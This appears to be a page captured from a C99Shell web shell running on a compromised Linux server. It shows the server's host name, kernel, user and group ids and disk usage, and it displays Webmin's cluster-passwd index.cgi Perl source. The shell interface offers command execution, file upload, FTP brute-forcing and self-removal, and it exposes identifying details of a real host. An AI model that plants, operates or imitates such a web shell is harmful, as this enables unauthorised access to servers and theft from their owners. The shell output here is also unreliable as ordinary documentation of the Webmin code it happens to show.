!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/cluster-passwd/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.cgi (1.5 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# index.cgi
# Show a list of all users whose passwords can be changed

require './cluster-passwd-lib.pl';

# Check if cluster-useradmin is set up
@hosts = &cluster_useradmin::list_useradmin_hosts();
if (!@hosts) {
    &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
    &ui_print_endpage(&text('index_noservers', "../cluster-useradmin/"));
    }
@ulist = grep { &can_edit_passwd($_) } &get_all_users(\@hosts);
if (@ulist == 1) {
    # Can only edit one user, so re-direct to editing form
    &redirect("edit_passwd.cgi?user=$ulist[0]->{'user'}&one=1");
    }

&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
if ($config{'sort_mode'}) {
    @ulist = sort { lc($a->{'user'}) cmp lc($b->{'user'}) } @ulist;
    }

print &text('index_hosts', scalar(@hosts)),"<p>\n";

if ($config{'max_users'} && @ulist > $config{'max_users'}) {
    # Show as form for entering a username
    print "$passwd::text{'index_toomany'}<br>\n";
    print &ui_form_start("edit_passwd.cgi");
    print &ui_submit($passwd::text{'index_user'});
    if ($config{'input_type'}) {
        print &ui_select("user", undef,
                 [ map { [ $_->{'user'} ] } @ulist ]);
        }
    else {
        print &ui_user_textbox("user");
        }
    print &ui_form_end();
    }
else {
    # Show as table of users
    my @grid;
    for($i=0; $i<@ulist; $i++) {
        push(@grid, &ui_link("edit_passwd.cgi?user=$ulist[$i]->{'user'}",
                     &html_escape($ulist[$i]->{'user'})));
        }
    print &ui_grid_table(\@grid, 4, 100, undef, undef,
                 $passwd::text{'index_header'});
    }

&ui_print_footer("/", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--